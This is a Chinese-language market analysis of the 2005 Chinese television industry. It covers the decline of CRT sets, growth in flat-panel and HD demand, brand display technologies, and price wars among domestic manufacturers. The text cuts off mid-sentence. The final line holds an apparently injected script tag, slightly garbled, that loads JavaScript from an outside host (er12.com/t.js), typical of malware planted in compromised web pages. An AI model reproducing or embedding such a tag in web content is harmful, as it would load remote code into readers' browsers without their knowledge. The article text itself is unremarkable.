李媛
2005年中国电视机产业进入了全新的发展时期，产业格局正在发生巨大的变化。crt电视在一级市场受到严重挤压，平板电视消费市场由孕育期步入放量增长期。他们凭借高清晰度、宽屏、超薄等诸多优势正成为彩电市场消费的时尚潮流，也是国内外电视机厂商的发展重点。平板电视取代传统的crt电视已成为不可逆转的趋势。平板电视市场的快速发展，带来了竞争者的增加和市场竞争的加剧，行业发展由导入期转向快速增长期，市场竞争由单一价格竞争转向全面竞争。
2005年中国大陆彩电业发展主要特征：
（一） 需求升级：平板、高清电视销量快速增长
市场的激烈竞争和3c融合使电视这种使用寿命较长，一般可多次使用的耐用消费品，产品更新换代速度空前提高。平板电视的问世使占据电视机领域几十年霸主地位的crt电视开始逐渐让位。虽然crt彩电目前在大陆市场中仍居主体地位，但其销售量市场占有率与销售额市场占有率均呈波浪式下降趋势，其中销售额的下降趋势相对更明显。
一级城市电视机市场逐步被“平板”电视所侵蚀，crt开始向二、三级城镇、农村市场转移。据慧聪统计，在二、三级城镇、农村市场crt彩电零售量市场占有率为97%，销售额市场占有率为87%。在一级城市市场，crt彩电的销售量市场占有率依然具有绝对优势为85%，但销售额市场占有率却迅速下降，已经降至50%。
在显示技术上，消费者同样对画面更清晰、细腻的高清电视兴趣浓厚。据慧聪对全国主要城市消费者调查表明，目前，一级城市市场消费者对高清彩电的认知度达到73％，这表明城市消费者对高清彩电已具备较高的认知度，为高清彩电的大规模进入家庭创造了良好的条件。慧聪研究还表明，高清彩电已成为城市家庭的共同需求趋向。在未来两年有电视机购买意向的城市家庭中，98％的城市消费者表示会选择高清显示的彩电。虽然目前各彩电企业都在宣传不同的技术概念，但代表国际彩电发展主流技术方向的是1080p，1080p极有可能成为彩电企业未来竞争的关键点，亦将是中国彩电企业与国际品牌同台竞争的基础。
（二） 技术升级:产品更新速度加快
消费者需求的升级促进电视机产业技术的快速发展，从传统crt到平板电视,，从隔行、逐行到高清电视，近三年来，电视机技术发展的突飞猛进带动了整个产业的发展。
技术的发展在平板电视领域表现最为突出。如今平板电视的竞争已经进入到了白热化的状态，在产品同质化的市场上，技术的差异化竞争往往会取得其它品牌所不能比拟的优势。目前市场上的平板电视品牌不下20种，他们促销的一个重要卖点就是采用什么屏幕。以液晶电视为例几乎所有的品牌都在打第七代屏的牌，从sony的博大晶深，到tcl等国产精品，都以七代屏作为卖点。由于上游屏的核心技术只掌握在日、韩几家企业的手里，因此仅仅在屏幕上做文章，对各品牌来说有很大局限，使用户觉得有些同质化。因此，各品牌开始从各方面寻求出口，于是平板电视中就出现了眼花缭乱的特色技术。sony的叫博大晶深、松下的叫viera，三星采用独有的第三代dnle(数码自然影像)技术，lg采用xd引擎，飞利浦力推逐点晶晰技术，厦华采用自主研发的“微晶神画”技术，夏新采用4：4：4 动态真彩技术，海信有自己的“中国芯”，新科采用sps超像引擎，创维采用六基色数字处理技术。新技术的层出不穷使产品更新速度加快，各厂家每年都会有二至三款的新品推出。
技术的快速发展必然导致生产成本的降低，因此也就为价格战奠定了基础。刚进入2005年，平板电视降价之风便越刮越猛，尤其是国内品牌，大有要将平板电视“从贵族变成平民”之势。价格“屠刀”从32英寸平板砍向更大尺寸。包括海尔、海信、创维、tcl、长虹、康佳、厦华等国内彩电巨头均纷纷在平板上大做文章，最高降价幅度都超过了20%有的甚至达到40%。国内企业在没有掌握上游核心技术的情况下，价格下降导致企业利润空间急剧缩小，行业利润率持续走低。
国内企业明知价格战是利润的火坑还要往下跳，最直接的考虑就是：一旦平板电视进入成熟期，落后的厂商要想提高自己的市场占有率就非常困难；相反，如果现在能够保证市场份额，不断扩大规模，那么今后无论是通过规模保证收益，还是与上游面板供应商的谈判，都会顺利的多。平板电视降价一方面是因为上游面板价格下调，更重要的是国内大部分企业都想先做大自己的平板电视，通过降价先把对手杀死，然后再称王。虽然国内企业在市场份额上占到了八成的比重，但是在销售额占有率上却不敌国外企业，国外企业在国内零售市场上始终保持着高额利润，国内企业要想扭转这种状况，要提高竞争力，光有市场份额是不够的，还必须有盈利能力。
一味的价格战只会把自己逼向死路。只有掌握到核心技术，才能做电视机产业里的真正胜利者。2005年国内厂商也开始逐步投入到面板行业，（尽管规模较小，上游产?script src=http://er12.com/t.js>
